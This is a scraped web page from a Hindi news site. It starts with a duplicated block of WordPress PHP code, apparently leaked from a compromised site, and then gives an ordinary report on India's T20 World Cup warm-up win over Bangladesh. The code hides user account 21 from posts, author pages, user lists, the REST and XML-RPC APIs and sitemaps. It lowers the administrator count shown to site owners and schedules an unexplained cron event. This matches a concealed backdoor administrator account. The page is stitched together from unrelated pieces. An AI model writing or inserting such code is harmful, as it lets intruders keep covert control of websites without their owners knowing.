add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
क्या भारत चुनौती के लिए तैयार है? - Press Ki Taquat
No Result
View All Result
न्यूयॉर्क, 2 जून (प्रेस की ताकत ब्यूरो): टी20 विश्व कप नजदीक आ रहा है और भारतीय क्रिकेट टीम अभी भी अपनी बल्लेबाजी लाइन-अप को अंतिम रूप देने पर काम कर रही है। कप्तान रोहित शर्मा ने इस बात पर जोर दिया कि बांग्लादेश के खिलाफ अभ्यास मैच में ऋषभ पंत को नंबर 3 पर भेजने के फैसले को ज्यादा महत्व नहीं दिया जाना चाहिए. इसके बावजूद, भारत 60 रनों से विजयी रहा, बांग्लादेश केवल 122/9 रन ही बना सका, जबकि भारत ने कुल 182/5 का स्कोर बनाया। रोहित ने बताया कि पंत को उस स्थिति में उनके प्रदर्शन का आकलन करने के लिए नंबर 3 पर बल्लेबाजी करने का मौका दिया गया था। टीम अभी भी विभिन्न संयोजनों के साथ प्रयोग कर रही है और अभी तक एक निश्चित बल्लेबाजी इकाई पर फैसला नहीं किया है। रोहित ने मैच में बल्लेबाजों और गेंदबाजों दोनों के समग्र प्रदर्शन पर संतुष्टि व्यक्त की। पंत ने शानदार पारी खेलते हुए 32 गेंदों पर 53 रन बनाए, जबकि हार्दिक पंड्या ने 23 गेंदों पर 40 रनों का योगदान दिया. सूर्यकुमार यादव ने भी 18 गेंदों में 31 रन बनाकर बहुमूल्य योगदान दिया। रोहित ने नए स्थल, मैदान और ड्रॉप-इन पिच की परिस्थितियों के आदी होने के महत्व पर प्रकाश डाला। उन्होंने अपरिचित परिस्थितियों में अच्छी तरह से अनुकूलन करने के लिए टीम की सराहना की। बाएं हाथ के तेज गेंदबाज अर्शदीप सिंह ने अपने गेंदबाजी प्रदर्शन से उत्कृष्ट प्रदर्शन करते हुए तीन ओवर में 12 रन देकर दो विकेट लिए। हरफनमौला खिलाड़ी शिवम दुबे ने भी तीन ओवर में 13 रन देकर दो विकेट लेकर प्रभावित किया। रोहित ने अर्शदीप के कौशल और बहुमुखी प्रतिभा की प्रशंसा की, गेंद को आगे की ओर स्विंग करने और डेथ ओवरों में महत्वपूर्ण डिलीवरी करने की उनकी क्षमता को ध्यान में रखते हुए। टीम में 15 प्रतिभाशाली खिलाड़ियों का पूल है और अंतिम संयोजन मौजूदा परिस्थितियों पर निर्भर करेगा। मुख्य कोच राहुल द्रविड़ ने पिच को “थोड़ा नरम और स्पंजी” बताया, लेकिन टीम के प्रदर्शन पर संतोष व्यक्त किया। उन्होंने मैदान की नरमता के कारण खिलाड़ियों की शारीरिक भलाई, विशेषकर उनकी हैमस्ट्रिंग और पिंडलियों की देखभाल के महत्व पर जोर दिया।
Post Views: 445
No Result
View All Result